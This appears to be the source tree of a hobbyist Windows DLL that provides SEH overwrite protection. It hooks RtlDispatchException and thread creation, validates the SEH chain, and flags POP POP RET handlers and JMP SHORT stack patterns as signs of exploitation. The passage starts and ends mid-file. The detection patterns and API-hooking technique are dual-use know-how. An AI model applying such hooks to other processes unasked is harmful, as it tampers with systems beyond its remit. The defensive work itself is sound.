                            LPTHREAD_START_ROUTINE lpStartAddress,
                            LPVOID lpParameter,
                            DWORD dwCreationFlags,
                            LPDWORD lpThreadId);
VOID ProtectThread(LPVOID lpParameter);
VOID ExceptionCallBack(PEXCEPTION_RECORD pExcptRec, PCONTEXT pContext);
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dozdt.o








dozdh.o
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LILXAM_SEHOP/libSEHOP.def

; dlltool --base-file C:\Users\Lilxam\AppData\Local\Temp/cca02520.base --output-exp SEHOP.exp --dllname SEHOP.dll --output-def libSEHOP.def --no-export-all-symbols --add-stdcall-alias --exclude-symbol=DllMainCRTStartup@12 --def C:\Users\Lilxam\AppData\Local\Temp/cca02520.def --output-lib libSEHOP.a
EXPORTS
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LILXAM_SEHOP/Makefile.win

# Project: SEHOP
# Makefile created by Dev-C++ 4.9.9.2

CPP  = g++.exe
CC   = gcc.exe
WINDRES = windres.exe
RES  = SEHOP_private.res
OBJ  = SEHOP.o SEH.o Hook.o Exploitation.o Useful.o $(RES)
LINKOBJ  = SEHOP.o SEH.o Hook.o Exploitation.o Useful.o $(RES)
LIBS =  -L"C:/Dev-Cpp/lib" --no-export-all-symbols --add-stdcall-alias BeaEngine/BeaEngine.lib  
INCS =  -I"C:/Dev-Cpp/include" 
CXXINCS =  -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include"  -I"C:/Dev-Cpp/include/c++/3.4.2/backward"  -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32"  -I"C:/Dev-Cpp/include/c++/3.4.2"  -I"C:/Dev-Cpp/include" 
BIN  = SEHOP.dll
CXXFLAGS = $(CXXINCS) -DBUILDING_DLL=1  
CFLAGS = $(INCS) -DBUILDING_DLL=1  
RM = rm -f

.PHONY: all all-before all-after clean clean-custom

all: all-before SEHOP.dll all-after


clean: clean-custom
	${RM} $(OBJ) $(BIN)

DLLWRAP=dllwrap.exe
DEFFILE=libSEHOP.def
STATICLIB=libSEHOP.a

$(BIN): $(LINKOBJ)
	$(DLLWRAP) --output-def $(DEFFILE) --implib $(STATICLIB) $(LINKOBJ) $(LIBS) -o $(BIN)

SEHOP.o: SEHOP.c
	$(CC) -c SEHOP.c -o SEHOP.o $(CFLAGS)

SEH.o: SEH.c
	$(CC) -c SEH.c -o SEH.o $(CFLAGS)

Hook.o: Hook.c
	$(CC) -c Hook.c -o Hook.o $(CFLAGS)

Exploitation.o: Exploitation.c
	$(CC) -c Exploitation.c -o Exploitation.o $(CFLAGS)

Useful.o: Useful.c
	$(CC) -c Useful.c -o Useful.o $(CFLAGS)

SEHOP_private.res: SEHOP_private.rc SEHOP.rc 
	$(WINDRES) -i SEHOP_private.rc --input-format=rc -o SEHOP_private.res -O coff 
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LILXAM_SEHOP/resource.h

#ifndef IDC_STATIC
#define IDC_STATIC (-1)
#endif

#define IDC_EXCPT_CODE                          1000
#define IDC_EXCPT_ADDR                          1001
#define IDC_VSEH                                1002
#define IDC_VEBP                                1003
#define IDC_POPPOPRET                           1004
#define IDC_EIP                                 1005
#define IDC_EFLAG                               1006
#define ID_CLOSE                                1337
#define ID_CONTINUE                             1338
#define IDC_EAX                                 10000
#define IDC_EBX                                 10001
#define IDC_ECX                                 10002
#define IDC_EDX                                 10003
#define IDC_EDI                                 10004
#define IDC_ESI                                 10005
#define IDC_EBP                                 10006
#define IDC_ESP                                 10007
#define IDC_EDIT1                               10008
#define IDC_EDIT_STACK                          10011
#define IDC_EDIT_HANDLER                        10012
#define IDC_JMP_SHORT                           10014
#define IDC_EDIT_STACK2                         10016
#define IDC_RBUG                                10018
#define IDC_RATTAK                              10019
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LILXAM_SEHOP/SEH.c

#include <windows.h>
#include "SEH.h"

PDWORD AllocAndRandom()
{
       VirtualAlloc(&pMySEH, 0x1000, MEM_COMMIT, PAGE_READWRITE);
       
       return (PDWORD)((PUCHAR)&pMySEH+(GetTickCount() % 0x1000));
}
VOID SetSEHHandler()
{
     PEXCEPTION_REGISTRATION pCurrentHandler = NULL;
     PEXCEPTION_REGISTRATION pSavedHandler = NULL;
     
     
     /* Getting current handler 
        Normal syntax : 
               __asm{
                     MOV EAX, DWORD PTR FS:[0]
                     MOV pCurrentHandler, EAX
                     };
     */
     
     /* AT&T syntax */
     asm("mov %FS:(0), %eax");
     asm("mov %%eax, %%eax" : "=a"(pCurrentHandler));
     
     
     /* Getting last handler */
     while((DWORD)pCurrentHandler->prev != 0xFFFFFFFF)
     {
              pCurrentHandler = (PEXCEPTION_REGISTRATION)pCurrentHandler->prev;

     }
     
     pSavedHandler = pCurrentHandler;

     /* Building our SEH */
     if(pMySEH == NULL)
     {
         pMySEH = (PEXCEPTION_REGISTRATION)AllocAndRandom();
         pMySEH->prev = (PEXCEPTION_REGISTRATION)0xFFFFFFFF;
         pMySEH->handler = (PEXCEPTION_HANDLER)0x1337; // A bit useless
     }
     
     /* Installing the validation SEH */
     pCurrentHandler->prev = pMySEH;

     

     //ListHandlers();
     return;
}
/*
VOID ListHandlers()
{
     PEXCEPTION_REGISTRATION pCurrentHandler = NULL;
     
     asm("mov %FS:(0), %eax");
     asm("mov %%eax, %%eax" : "=a"(pCurrentHandler));
     
     /* Getting last handler *//*
     while((DWORD)pCurrentHandler->prev != 0xFFFFFFFF)
              pCurrentHandler = (PEXCEPTION_REGISTRATION)pCurrentHandler->prev;
     return;
     
}*/

VOID InStrSEHChain(PUCHAR pStr)
{
     PEXCEPTION_REGISTRATION pCurrentHandler = NULL;
     UCHAR tmp[512];

     asm("mov %FS:(0), %eax");
     asm("mov %%eax, %%eax" : "=a"(pCurrentHandler));
     
     do
     {
                                                                        
              sprintf(tmp, 
                      "+0x%x : Structured exception handler : \r\n   -> Handler : 0x%x\r\n   -> Previous SEH : 0x%x\r\n\r\n",
                      pCurrentHandler,
                      pCurrentHandler->handler,
                      pCurrentHandler->prev);

              strncat(pStr, tmp, strlen(tmp));
              memset(tmp, 0x0, sizeof(tmp));

              if((DWORD)pCurrentHandler->prev == 0xFFFFFFFF)
                                              break;
                    
              if(!IsValidSEHHandler(pCurrentHandler))
              {
                      strcat(pStr, "SEH chain corrupted !");
                      break;
              }
                                                                                             
              pCurrentHandler = (PEXCEPTION_REGISTRATION)pCurrentHandler->prev;
              
              
     }while(1);
     
     return;
}
BYTE IsSEHChainValid(PEXCEPTION_REGISTRATION pFirstHandler, PDWORD pdwNumberOfSEH)
{
     PEXCEPTION_REGISTRATION pCurrentHandler = pFirstHandler;
          
     while(pCurrentHandler->prev != pMySEH)
     {        
              
              /* If we get the end of the SEH chain without finding our SEH then return 0 */
              if((DWORD)pCurrentHandler->prev == 0xFFFFFFFF)
                                       return 0x00;
                                       
              *pdwNumberOfSEH++;
              
              if(!IsValidSEHHandler(pCurrentHandler))
                                                     return 0x00;
                                                                             
              pCurrentHandler = (PEXCEPTION_REGISTRATION)pCurrentHandler->prev;
     }    
  
     return 0x1;
}

BYTE IsValidSEHHandler(PEXCEPTION_REGISTRATION pCurrentHandler)
{
     //Check if the pointer to next SEH is valid
     if(!IsValidAddress(pCurrentHandler->prev))
                                             return 0x0;
                                                                                    
     //Check if previous SEH is in stack
     if(!IsInStack(pCurrentHandler->prev) && pCurrentHandler->prev != pMySEH)
                                          return 0x0;      
                                                                                                               
     //Check if the pointer to SEH handler is valid
     /* It is useless because of the previous verification */
     if(!IsValidAddress(pCurrentHandler->handler))
                                             return 0x0;
 
     return 0x1;
}     
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LILXAM_SEHOP/SEH.h

#include <windows.h>
#include <excpt.h>

PEXCEPTION_REGISTRATION pMySEH = NULL;

VOID SetSEHHandler();
BYTE IsSEHChainValid(PEXCEPTION_REGISTRATION pFirstHandler, PDWORD pdwNumberOfSEH);
BYTE IsValidSEHHandler(PEXCEPTION_REGISTRATION pCurrentHandler);

/* */
PDWORD AllocAndRandom();
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LILXAM_SEHOP/SEHOP.c

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Wingdi.h>

#include "SEHOP.h"
#include "resource.h"
#include "Exploitation.h"
#include "Useful.h"
#include "Hook.h"


BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                       DWORD reason        /* Reason this function is being called. */ ,
                       LPVOID reserved     /* Not used. */ )
{
    hInstance = hInst; 
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:

           /* Hook ntdll!RtlDispatchException to detect exceptions SEH */
           HookRtlDispatchException();

           /* Hook CreateRemoteThread to protect each thread */
           HookCreateThread();

           /* Set our validation handler to the main thread */
           SetSEHHandler();

        break;

      case DLL_PROCESS_DETACH:
        break;

      case DLL_THREAD_ATTACH:
        break;

      case DLL_THREAD_DETACH:
        break;
    }

    /* Returns TRUE on success, FALSE on failure */
    return TRUE;
}

     
LRESULT CALLBACK DialogProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    UCHAR tmp[256] = {0x00};
    PCONTEXT pContext = NULL;
    PEXCEPTION_REGISTRATION pCurrentHandler = NULL;
    
    pContext = ExploitationInformations.pThreadContext;
    
    switch (message)                  /* handle the messages */
    {
        
       case WM_PAINT:

            /* Stats */
            sprintf(tmp, "Bug risk : %ld%%", (ExploitationInformations.bIsSEHChainInvalid*75+ExploitationInformations.bIsEBPInvalid*25));
            SetDlgItemTextA(hwnd, IDC_RBUG, tmp);

            sprintf(tmp, "Attak risk : %ld%%", (ExploitationInformations.bPOPPOPRET*25+ExploitationInformations.bJMPSHORT*25+ExploitationInformations.bIsSEHChainInvalid*25+ExploitationInformations.bIsEBPInvalid*25));
            SetDlgItemTextA(hwnd, IDC_RATTAK, tmp);

            /*General informations */
            sprintf(tmp, "0x%x", ExploitationInformations.dwExceptionCode);
            SetDlgItemTextA(hwnd, IDC_EXCPT_CODE, tmp);
            
            sprintf(tmp, "0x%x", ExploitationInformations.dwExceptionAddress);
            SetDlgItemTextA(hwnd, IDC_EXCPT_ADDR, tmp);
            
            if(ExploitationInformations.bIsSEHChainInvalid)
                               SetDlgItemTextA(hwnd, IDC_VSEH, "YES !!");
                               
            if(ExploitationInformations.bIsEBPInvalid)
                               SetDlgItemTextA(hwnd, IDC_VEBP, "YES !!");
            
            if(ExploitationInformations.bPOPPOPRET)
                               SetDlgItemTextA(hwnd, IDC_POPPOPRET, "YES !!");
                               
            if(ExploitationInformations.bJMPSHORT)
                               SetDlgItemTextA(hwnd, IDC_JMP_SHORT, "YES !!");
                               
            /*Registers */
            sprintf(tmp, "EAX = 0x%x", pContext->Eax);
            SetDlgItemTextA(hwnd, IDC_EAX, tmp);  
            sprintf(tmp, "EBX = 0x%x", pContext->Ebx);
            SetDlgItemTextA(hwnd, IDC_EBX, tmp);
            sprintf(tmp, "ECX = 0x%x", pContext->Ecx);
            SetDlgItemTextA(hwnd, IDC_ECX, tmp);
            sprintf(tmp, "EDX = 0x%x", pContext->Edx);
            SetDlgItemTextA(hwnd, IDC_EDX, tmp);
            sprintf(tmp, "EDI = 0x%x", pContext->Edi);
            SetDlgItemTextA(hwnd, IDC_EDI, tmp);
            sprintf(tmp, "ESI = 0x%x", pContext->Esi);
            SetDlgItemTextA(hwnd, IDC_ESI, tmp);
            sprintf(tmp, "EBP = 0x%x", pContext->Ebp);
            SetDlgItemTextA(hwnd, IDC_EBP, tmp);
            sprintf(tmp, "ESP = 0x%x", pContext->Esp);
            SetDlgItemTextA(hwnd, IDC_ESP, tmp);
            sprintf(tmp, "EIP = 0x%x", pContext->Eip);
            SetDlgItemTextA(hwnd, IDC_EIP, tmp);
            sprintf(tmp, "EFLAG = 0x%x", pContext->EFlags);
            SetDlgItemTextA(hwnd, IDC_EFLAG, tmp);
            
            /*SEH Chain */
            SetDlgItemTextA(hwnd, IDC_EDIT1, ExploitationInformations.pSEHList);

            /* Stack Dump */
            SetDlgItemTextA(hwnd, IDC_EDIT_STACK2, ExploitationInformations.szStackDump);
            
            /* Stack disass */
            SetDlgItemTextA(hwnd, IDC_EDIT_STACK, InStrDisass(&ExploitationInformations.pCurrentHandler->prev, 0x1D));
            
           
            /* Current handler disass */
            if(IsValidAddress(ExploitationInformations.pCurrentHandler->handler) != 0x0)
                  SetDlgItemTextA(hwnd, IDC_EDIT_HANDLER, InStrDisass(ExploitationInformations.pCurrentHandler->handler, 0x1D));
            else
                  SetDlgItemTextA(hwnd, IDC_EDIT_HANDLER, "Handler address is not valid !!");
            
             break;
        case WM_COMMAND:
             switch(LOWORD(wParam))
             {
                    case ID_CLOSE:
                                  ExitProcess(0x0);
                         break;     
                    case ID_CONTINUE:
                                  /* Let the system process */   
                                  PostQuitMessage (0); /* Close the Dialog box */
                         break;
             }          
             break;     
        case WM_DESTROY:

            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
}
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LILXAM_SEHOP/SEHOP.dev

[Project]
FileName=SEHOP.dev
Name=SEHOP
UnitCount=12
Type=3
Ver=1
ObjFiles=
Includes=
Libs=
PrivateResource=SEHOP_private.rc
ResourceIncludes=
MakeIncludes=
Compiler=-DBUILDING_DLL=1_@@_
CppCompiler=-DBUILDING_DLL=1_@@_
Linker=--no-export-all-symbols --add-stdcall-alias_@@_BeaEngine/BeaEngine.lib_@@_
IsCpp=0
Icon=
ExeOutput=
ObjectOutput=
OverrideOutput=0
OverrideOutputName=SEHOP.dll
HostApplication=C:\Users\Lilxam\Documents\Informatique\Hacking\SEHOP\Implementation\Test.exe
Folders=
CommandLine=
UseCustomMakefile=0
CustomMakefile=
IncludeVersionInfo=0
SupportXPThemes=1
CompilerSet=0
CompilerSettings=0000000000000000000000

[Unit1]
FileName=SEHOP.c
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[VersionInfo]
Major=0
Minor=1
Release=1
Build=1
LanguageID=1033
CharsetID=1252
CompanyName=
FileVersion=
FileDescription=Developed using the Dev-C++ IDE
InternalName=
LegalCopyright=
LegalTrademarks=
OriginalFilename=
ProductName=
ProductVersion=
AutoIncBuildNr=0

[Unit2]
FileName=SEH.h
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit3]
FileName=Exploitation.h
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit4]
FileName=Hook.h
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit5]
FileName=SEH.c
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit6]
FileName=Hook.c
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit7]
FileName=Exploitation.c
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit8]
FileName=SEHOP.h
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit9]
FileName=SEHOP.rc
Folder=SEHOP
Compile=1
Link=0
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit10]
FileName=resource.h
CompileCpp=0
Folder=SEHOP
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit11]
FileName=Useful.h
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit12]
FileName=Useful.c
CompileCpp=0
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=
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LILXAM_SEHOP/SEHOP.dll.Manifest

 
 
 SEHOP
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LILXAM_SEHOP/SEHOP.exe.Manifest

 
 
 SEHOP
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LILXAM_SEHOP/SEHOP.h

#include <windows.h>


LRESULT CALLBACK DialogProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);
HINSTANCE hInstance;
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LILXAM_SEHOP/SEHOP.layout

[Editor_8]
CursorCol=52
CursorRow=23
TopLine=6
LeftChar=1
Open=1
Top=0
[Editors]
Focused=0
Order=1,2,3,4,5,6,7,8,9,10,11,0
[Editor_0]
Open=1
Top=1
CursorCol=1
CursorRow=116
TopLine=86
LeftChar=1
[Editor_1]
Open=1
Top=0
CursorCol=1
CursorRow=4
TopLine=1
LeftChar=1
[Editor_2]
Open=1
Top=0
CursorCol=1
CursorRow=16
TopLine=1
LeftChar=1
[Editor_3]
Open=1
Top=0
CursorCol=1
CursorRow=14
TopLine=2
LeftChar=1
[Editor_4]
Open=1
Top=0
CursorCol=1
CursorRow=33
TopLine=64
LeftChar=1
[Editor_5]
Open=1
Top=0
CursorCol=1
CursorRow=119
TopLine=91
LeftChar=1
[Editor_6]
Open=1
Top=0
CursorCol=1
CursorRow=55
TopLine=1
LeftChar=1
[Editor_7]
Open=1
Top=0
CursorCol=1
CursorRow=6
TopLine=1
LeftChar=1
[Editor_9]
Open=1
Top=0
CursorCol=49
CursorRow=6
TopLine=1
LeftChar=1
[Editor_10]
Open=1
Top=0
CursorCol=1
CursorRow=5
TopLine=1
LeftChar=1
[Editor_11]
Open=1
Top=0
CursorCol=66
CursorRow=9
TopLine=1
LeftChar=1
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LILXAM_SEHOP/SEHOP.rc

// Generated by ResEdit 1.4.8
// Copyright (C) 2006-2009
// http://www.resedit.net

#include <windows.h>
#include <commctrl.h>
#include <richedit.h>
#include "resource.h"



//
// Dialog resources
//
LANGUAGE LANG_FRENCH, SUBLANG_FRENCH
MAIN_DIALOG DIALOG 0, 0, 591, 321
STYLE DS_3DLOOK | DS_CENTER | DS_MODALFRAME | DS_SHELLFONT | WS_VISIBLE | WS_BORDER | WS_CAPTION | WS_DLGFRAME | WS_POPUP | WS_SYSMENU
CAPTION "Lilxam SEHOP Protection"
FONT 8, "Ms Shell Dlg 2"
{
    DEFPUSHBUTTON   "Close program", ID_CLOSE, 379, 3, 51, 14
    PUSHBUTTON      "Continue program", ID_CONTINUE, 379, 23, 62, 14
    LTEXT           "An exploitation attempt has been detected in a program of your sytem.\nWe recommended you to close the program to prevent any attak.", IDC_STATIC, 120, 10, 239, 16, SS_LEFT
    GROUPBOX        "Exploiation informations", IDC_STATIC, 10, 49, 564, 257
    LTEXT           "Stack disassembly :", IDC_STATIC, 442, 62, 63, 8, SS_LEFT
    LTEXT           "Seh handler disassembly :", IDC_STATIC, 455, 175, 84, 8, SS_LEFT
    LTEXT           "SEH chain :", IDC_STATIC, 95, 180, 37, 8, SS_LEFT
    GROUPBOX        "Registers", IDC_STATIC, 225, 195, 170, 105, BS_LEFT | 0x00000200
    LTEXT           "EAX = 0x00000000", IDC_EAX, 235, 215, 63, 8, SS_LEFT
    LTEXT           "EBX = 0x00000000", IDC_EBX, 315, 215, 62, 8, SS_LEFT
    LTEXT           "ECX = 0x00000000", IDC_ECX, 235, 230, 63, 8, SS_LEFT
    LTEXT           "EDX = 0x00000000", IDC_EDX, 315, 230, 63, 8, SS_LEFT
    LTEXT           "EDI = 0x00000000", IDC_EDI, 235, 245, 62, 8, SS_LEFT
    LTEXT           "ESI = 0x00000000", IDC_ESI, 315, 245, 61, 8, SS_LEFT
    LTEXT           "EBP = 0x00000000", IDC_EBP, 235, 260, 62, 8, SS_LEFT
    LTEXT           "ESP = 0x00000000", IDC_ESP, 315, 260, 62, 8, SS_LEFT
    EDITTEXT        IDC_EDIT1, 40, 195, 158, 100, WS_VSCROLL | ES_AUTOHSCROLL | ES_MULTILINE
    EDITTEXT        IDC_EDIT_HANDLER, 405, 195, 155, 105, WS_VSCROLL | ES_AUTOHSCROLL | ES_UPPERCASE | ES_MULTILINE
    EDITTEXT        IDC_EDIT_STACK, 405, 76, 158, 90, WS_VSCROLL | ES_AUTOHSCROLL | ES_UPPERCASE | ES_MULTILINE
    GROUPBOX        "General Informations", IDC_STATIC, 20, 65, 195, 235
    LTEXT           "0x00000000", IDC_EXCPT_CODE, 165, 75, 45, 8, SS_LEFT
    LTEXT           "0x00000000", IDC_EXCPT_ADDR, 165, 90, 45, 8, SS_LEFT
    LTEXT           "No", IDC_VSEH, 165, 105, 35, 8, SS_LEFT
    LTEXT           "No", IDC_VEBP, 165, 120, 40, 8, SS_LEFT
    LTEXT           "No", IDC_POPPOPRET, 165, 140, 40, 8, SS_LEFT
    LTEXT           "No", IDC_JMP_SHORT, 165, 155, 35, 8, SS_LEFT
    LTEXT           "Invalid SEH Chain :", IDC_STATIC, 55, 107, 80, 8, SS_LEFT
    LTEXT           "Invalid register EBP :", IDC_STATIC, 55, 122, 100, 8, SS_LEFT
    LTEXT           "Handler points to POP POP RET :", IDC_STATIC, 55, 140, 102, 8, SS_LEFT
    LTEXT           "Exception address :", IDC_STATIC, 55, 90, 64, 8, SS_LEFT
    LTEXT           "Exception code :", IDC_STATIC, 55, 75, 54, 8, SS_LEFT
    LTEXT           "JMP SHORT on stack :", IDC_STATIC, 55, 158, 72, 8, SS_LEFT
    LTEXT           "EFLAG : 0x00000000", IDC_EFLAG, 315, 275, 68, 8, SS_LEFT
    LTEXT           "EIP : 0x00000000", IDC_EIP, 235, 275, 58, 8, SS_LEFT
    EDITTEXT        IDC_EDIT_STACK2, 235, 76, 158, 90, WS_VSCROLL | ES_AUTOHSCROLL | ES_UPPERCASE | ES_MULTILINE
    LTEXT           "Stack Dump :", IDC_STATIC, 285, 60, 43, 8, SS_LEFT
    LTEXT           "Bug Risk : 0%", IDC_RBUG, 120, 29, 60, 8, SS_LEFT
    LTEXT           "Attak Risk : 0%", IDC_RATTAK, 187, 29, 65, 8, SS_LEFT
}
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LILXAM_SEHOP/SEHOPHI2.dll
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LILXAM_SEHOP/SEHOP_private.h

/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
/* DO NOT EDIT ! */

#ifndef SEHOP_PRIVATE_H
#define SEHOP_PRIVATE_H

/* VERSION DEFINITIONS */
#define VER_STRING	"0.1.1.1"
#define VER_MAJOR	0
#define VER_MINOR	1
#define VER_RELEASE	1
#define VER_BUILD	1
#define COMPANY_NAME	""
#define FILE_VERSION	""
#define FILE_DESCRIPTION	"Developed using the Dev-C++ IDE"
#define INTERNAL_NAME	""
#define LEGAL_COPYRIGHT	""
#define LEGAL_TRADEMARKS	""
#define ORIGINAL_FILENAME	""
#define PRODUCT_NAME	""
#define PRODUCT_VERSION	""

#endif /*SEHOP_PRIVATE_H*/
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LILXAM_SEHOP/SEHOP_private.rc

/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
/* DO NOT EDIT! */

#include "SEHOP.rc"

//
// SUPPORT FOR WINDOWS XP THEMES:
// THIS WILL MAKE THE PROGRAM USE THE COMMON CONTROLS
// LIBRARY VERSION 6.0 (IF IT IS AVAILABLE)
//
1 24 "SEHOP.dll.Manifest"
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LILXAM_SEHOP/SEHOP_ss.rc

// Generated by ResEdit 1.4.8
// Copyright (C) 2006-2009
// http://www.resedit.net

#include <windows.h>
#include <commctrl.h>
#include <richedit.h>
#include "resource.h"



//
// Dialog resources
//
LANGUAGE LANG_FRENCH, SUBLANG_FRENCH
IDD_DIALOG1 DIALOG 0, 0, 591, 321
STYLE DS_3DLOOK | DS_CENTER | DS_MODALFRAME | DS_SHELLFONT | WS_VISIBLE | WS_BORDER | WS_CAPTION | WS_DLGFRAME | WS_POPUP | WS_SYSMENU
CAPTION "Exploitation Attempt"
FONT 8, "Ms Shell Dlg 2"
{
    DEFPUSHBUTTON   "Close program", IDOK, 392, 12, 61, 14
    PUSHBUTTON      "Continue program", IDCANCEL, 392, 32, 62, 14
    LTEXT           "It seems that an exploitation attempt occured in a program of your sytem.\nWe recommended you to close the program to prevent any attak.", IDC_STATIC, 133, 19, 239, 16, SS_LEFT
    GROUPBOX        "Exploiation informations", IDC_STATIC, 29, 49, 545, 257
    CONTROL         "", IDC_HOTKEY1, HOTKEY_CLASS, WS_TABSTOP, 442, 77, 125, 40
    CONTROL         "", IDC_HOTKEY2, HOTKEY_CLASS, WS_TABSTOP, 442, 137, 125, 38
    CONTROL         "", IDC_HOTKEY3, HOTKEY_CLASS, WS_TABSTOP, 442, 202, 125, 102
    LTEXT           "Stack disassembly :", IDC_STATIC, 442, 62, 63, 8, SS_LEFT
    LTEXT           "Seh handler disassembly :", IDC_STATIC, 445, 122, 84, 8, SS_LEFT
    LTEXT           "SEH chain :", IDC_STATIC, 444, 187, 37, 8, SS_LEFT
    GROUPBOX        "Thread CONTEXT", IDC_STATIC, 225, 65, 187, 232
    GROUPBOX        "Registers", IDC_STATIC, 230, 80, 174, 79
    LTEXT           "EAX = 0x00000000", IDC_STATIC, 237, 92, 63, 8, SS_LEFT
    LTEXT           "EBX = 0x00000000", IDC_STATIC, 327, 92, 62, 8, SS_LEFT
    LTEXT           "ECX = 0x00000000", IDC_STATIC, 237, 107, 63, 8, SS_LEFT
    LTEXT           "EDX = 0x00000000", IDC_STATIC, 327, 107, 63, 8, SS_LEFT
    LTEXT           "EDI = 0x00000000", IDC_STATIC, 237, 122, 62, 8, SS_LEFT
    LTEXT           "ESI = 0x00000000", IDC_STATIC, 327, 122, 61, 8, SS_LEFT
    LTEXT           "EBP = 0x00000000", IDC_STATIC, 237, 137, 62, 8, SS_LEFT
    LTEXT           "ESP = 0x00000000", IDC_STATIC, 327, 137, 62, 8, SS_LEFT
    GROUPBOX        "Flags", IDC_STATIC, 234, 170, 168, 77
    GROUPBOX        "General Informations ", IDC_STATIC, 45, 67, 164, 215
    LTEXT           "Exception code : 0x00000000", IDC_STATIC, 54, 86, 96, 8, SS_LEFT
    LTEXT           "Exception address : 0x00000000", IDC_STATIC, 52, 97, 106, 8, SS_LEFT
    LTEXT           "Exploitation type : Unknown", IDC_STATIC, 52, 112, 91, 8, SS_LEFT
}
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LILXAM_SEHOP/Testeur/Makefile.win

# Project: Testeur
# Makefile created by Dev-C++ 4.9.9.2

CPP  = g++.exe
CC   = gcc.exe
WINDRES = windres.exe
RES  = Testeur_private.res
OBJ  = Test.o $(RES)
LINKOBJ  = Test.o $(RES)
LIBS =  -L"C:/Dev-Cpp/lib"  
INCS =  -I"C:/Dev-Cpp/include" 
CXXINCS =  -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include"  -I"C:/Dev-Cpp/include/c++/3.4.2/backward"  -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32"  -I"C:/Dev-Cpp/include/c++/3.4.2"  -I"C:/Dev-Cpp/include" 
BIN  = Testeur.exe
CXXFLAGS = $(CXXINCS)  
CFLAGS = $(INCS)  
RM = rm -f

.PHONY: all all-before all-after clean clean-custom

all: all-before Testeur.exe all-after


clean: clean-custom
	${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
	$(CC) $(LINKOBJ) -o "Testeur.exe" $(LIBS)

Test.o: Test.c
	$(CC) -c Test.c -o Test.o $(CFLAGS)

Testeur_private.res: Testeur_private.rc 
	$(WINDRES) -i Testeur_private.rc --input-format=rc -o Testeur_private.res -O coff 
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LILXAM_SEHOP/Testeur/Testeur.dev

[Project]
FileName=Testeur.dev
Name=Testeur
UnitCount=1
Type=1
Ver=1
ObjFiles=
Includes=
Libs=
PrivateResource=Testeur_private.rc
ResourceIncludes=
MakeIncludes=
Compiler=
CppCompiler=
Linker=
IsCpp=0
Icon=
ExeOutput=
ObjectOutput=
OverrideOutput=0
OverrideOutputName=Testeur.exe
HostApplication=
Folders=
CommandLine=
UseCustomMakefile=0
CustomMakefile=
IncludeVersionInfo=0
SupportXPThemes=1
CompilerSet=0
CompilerSettings=0000000000000000000000

[Unit1]
FileName=Test.c
CompileCpp=0
Folder=Testeur
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[VersionInfo]
Major=0
Minor=1
Release=1
Build=1
LanguageID=1033
CharsetID=1252
CompanyName=
FileVersion=
FileDescription=Developed using the Dev-C++ IDE
InternalName=
LegalCopyright=
LegalTrademarks=
OriginalFilename=
ProductName=
ProductVersion=
AutoIncBuildNr=0
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LILXAM_SEHOP/Testeur/Testeur.exe
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LILXAM_SEHOP/Testeur/Testeur.exe.Manifest

 
 
 Testeur
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LILXAM_SEHOP/Testeur/Testeur_private.h

/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
/* DO NOT EDIT ! */

#ifndef TESTEUR_PRIVATE_H
#define TESTEUR_PRIVATE_H

/* VERSION DEFINITIONS */
#define VER_STRING	"0.1.1.1"
#define VER_MAJOR	0
#define VER_MINOR	1
#define VER_RELEASE	1
#define VER_BUILD	1
#define COMPANY_NAME	""
#define FILE_VERSION	""
#define FILE_DESCRIPTION	"Developed using the Dev-C++ IDE"
#define INTERNAL_NAME	""
#define LEGAL_COPYRIGHT	""
#define LEGAL_TRADEMARKS	""
#define ORIGINAL_FILENAME	""
#define PRODUCT_NAME	""
#define PRODUCT_VERSION	""

#endif /*TESTEUR_PRIVATE_H*/
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LILXAM_SEHOP/Testeur/Testeur_private.rc

/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
/* DO NOT EDIT! */


//
// SUPPORT FOR WINDOWS XP THEMES:
// THIS WILL MAKE THE PROGRAM USE THE COMMON CONTROLS
// LIBRARY VERSION 6.0 (IF IT IS AVAILABLE)
//
1 24 "Testeur.exe.Manifest"
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LILXAM_SEHOP/Testeur - Shortcut.lnk
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LILXAM_SEHOP/Test_.exe
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LILXAM_SEHOP/Useful.c

#include <windows.h>
#include "BeaEngine\BeaEngine.h"

BYTE IsValidAddress(DWORD dwAddress)
{
     MEMORY_BASIC_INFORMATION MemBasicInfo;
     BYTE ret = 0x0;
     
     ret = VirtualQuery((LPCVOID)dwAddress, &MemBasicInfo, 0x1C);
     
     /* If memory is not commited then return 0 */
     if(MemBasicInfo.State != MEM_COMMIT)
                          return 0;
                          
     return ret;
}
BYTE IsInStack(DWORD dwAddress)
{
